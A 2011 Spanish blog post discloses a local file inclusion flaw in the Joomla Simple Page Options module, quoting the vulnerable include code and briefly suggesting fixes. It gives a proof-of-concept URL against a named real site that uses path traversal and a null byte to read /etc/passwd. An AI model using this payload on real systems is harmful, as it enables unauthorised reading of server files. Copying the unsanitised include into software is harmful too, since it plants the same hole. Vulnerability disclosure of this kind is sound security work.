viernes, 15 de julio de 2011

Simple Page Option LFI

Este complemento del Joomla MOD_SPO tiene LFI local file inclusion se pueden llamar archivos del servidor...


Vulnerable Code:

$s_lang =& JRequest::getVar('spo_site_lang');
(file_exists(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php'))
? include(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php')
: include(dirname(__FILE__).DS.'languages'.DS.'english.php');


hace include de lo que llames con ciertos parámetros... la ultima version que es la 1.5.16 y todas las 1.5.x tambien lo son.


se puede resolver facilmente agregandole un str_replace o con permisos de lectura desde el htaccess (este lo recomiendo)

un ejemplo real:

http://www.europeancartransport.com/home/modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using%20Simple%20Page
%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=../../../../
../../../../../../etc/passwd% 00&spo_site_name=Alfredo%20Arauz&spo_url_type=1&spo_url2se


el nullbyte es junto pero blogger no me deja ponerlo el error es en la variable:

spo_site_lang=

__________


Alfredo Arauz (Security Expert - IT Ecuador) encontró la vulnerabilidad en una página web yo encontré el code vulnerable y generé el POC.


Saludos
Dr.White

2 comentarios:

.netobfuscator dijo...

You have explained it nicely explained & loved your blog.

.net obfuscator

Kelo™ dijo...

Hablas de Alfredo Arauz de KernelPanic?